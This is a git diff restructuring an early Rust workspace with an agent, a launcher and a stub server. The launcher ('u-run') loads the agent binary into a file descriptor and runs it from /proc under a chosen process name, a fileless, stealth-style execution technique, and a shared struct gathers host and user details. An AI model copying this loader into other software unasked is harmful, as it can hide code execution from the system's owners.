diff --git a/Cargo.toml b/Cargo.toml index 81f2277..7ea1ae1 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,5 @@ [workspace] members = [ - "u-run", - "u-server", - "u-agent" + "bin/*", + "lib/u_lib" ] \ No newline at end of file diff --git a/u-agent/Cargo.toml b/bin/u-agent/Cargo.toml similarity index 94% rename from u-agent/Cargo.toml rename to bin/u-agent/Cargo.toml index fe9666a..1345c84 100644 --- a/u-agent/Cargo.toml +++ b/bin/u-agent/Cargo.toml @@ -13,6 +13,7 @@ sysinfo = "0.10.5" #lazy_static = "1.4.0" log = "^0.4" env_logger = "0.7.1" +cron = "0.6.0" [profile.release] panic = 'abort' diff --git a/u-agent/src/main.rs b/bin/u-agent/src/main.rs similarity index 99% rename from u-agent/src/main.rs rename to bin/u-agent/src/main.rs index c15e264..5e980f8 100644 --- a/u-agent/src/main.rs +++ b/bin/u-agent/src/main.rs @@ -25,6 +25,8 @@ use nix::{ } }; +mod jobs; + fn setsig(sig: Signal, hnd: SigHandler) { unsafe { signal(sig, hnd).unwrap(); diff --git a/u-run/Cargo.toml b/bin/u-run/Cargo.toml similarity index 100% rename from u-run/Cargo.toml rename to bin/u-run/Cargo.toml diff --git a/u-run/src/main.rs b/bin/u-run/src/main.rs similarity index 89% rename from u-run/src/main.rs rename to bin/u-run/src/main.rs index a95e17f..88d2b1e 100644 --- a/u-run/src/main.rs +++ b/bin/u-run/src/main.rs @@ -18,8 +18,8 @@ fn get_uagent_data() -> Option> { // TODO: if not ls - then download let ls = read_dir("./").unwrap(); for dirfile in ls { - let filename: std::path::PathBuf = dirfile.unwrap().path(); - if filename.ends_with("u-agent") { + let filename = dirfile.unwrap().path(); + if filename.to_str().unwrap() == "u-agent" { let mut file = File::open(filename).unwrap(); let mut data: Vec = vec![]; file.read_to_end(&mut data).unwrap(); @@ -76,8 +76,9 @@ fn main() { panic!("write wasn't successful: {}, need {}", res_len, ad_len); } - let exec_path: String = format!("/proc/{}/fd/{}", - unsafe { getpid() }, fd); + let exec_path: String = format!( + "/proc/{}/fd/{}", unsafe { getpid() }, fd + ); let proc_name = get_proc_name(); let args = [proc_name.as_c_str()]; execv( diff --git a/bin/u-server/src/main.rs b/bin/u-server/src/main.rs new file mode 100644 index 0000000..ae5c180 --- /dev/null +++ b/bin/u-server/src/main.rs @@ -0,0 +1,23 @@ +use warp::{ + Filter +}; +use env_logger; +use tokio::sync::Mutex; +use std::collections::HashMap; + +use u_lib::Client; + +type Storage = Mutex>; + +#[tokio::main] +async fn main() { + env_logger::init(); + let db: Storage = Mutex::new(HashMap::::new()); + let hello = warp::get().and(warp::path::param()) + .map(|p: String| format!("Hello, {} ({})", p, LOL)); + + //let post = warp::post().and(warp::path("new")) + let routes = hello + .with(warp::log("warp")); + warp::serve(routes).run(([127,0,0,1], 63714)).await; +} diff --git a/u-server/Cargo.toml b/lib/u_lib/Cargo.toml similarity index 74% rename from u-server/Cargo.toml rename to lib/u_lib/Cargo.toml index c19b098..ec899e6 100644 --- a/u-server/Cargo.toml +++ b/lib/u_lib/Cargo.toml @@ -1,5 +1,5 @@ [package] -name = "u-server" +name = "u_lib" version = "0.1.0" authors = ["plazmoid "] edition = "2018" @@ -7,3 +7,4 @@ edition = "2018" # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html [dependencies] +serde = { version = "1.0.114", features = ["derive"] } \ No newline at end of file diff --git a/lib/u_lib/src/lib.rs b/lib/u_lib/src/lib.rs new file mode 100644 index 0000000..7033448 --- /dev/null +++ b/lib/u_lib/src/lib.rs @@ -0,0 +1,10 @@ +use serde::Deserialize; + +#[derive(Deserialize)] +pub struct Client { + pub ip: String, + pub hostname: String, + pub username: String, + pub os: String, + pub platform: String +} \ No newline at end of file diff --git a/u-server/src/main.rs b/u-server/src/main.rs deleted file mode 100644 index e7a11a9..0000000 --- a/u-server/src/main.rs +++ /dev/null @@ -1,3 +0,0 @@ -fn main() { - println!("Hello, world!"); -}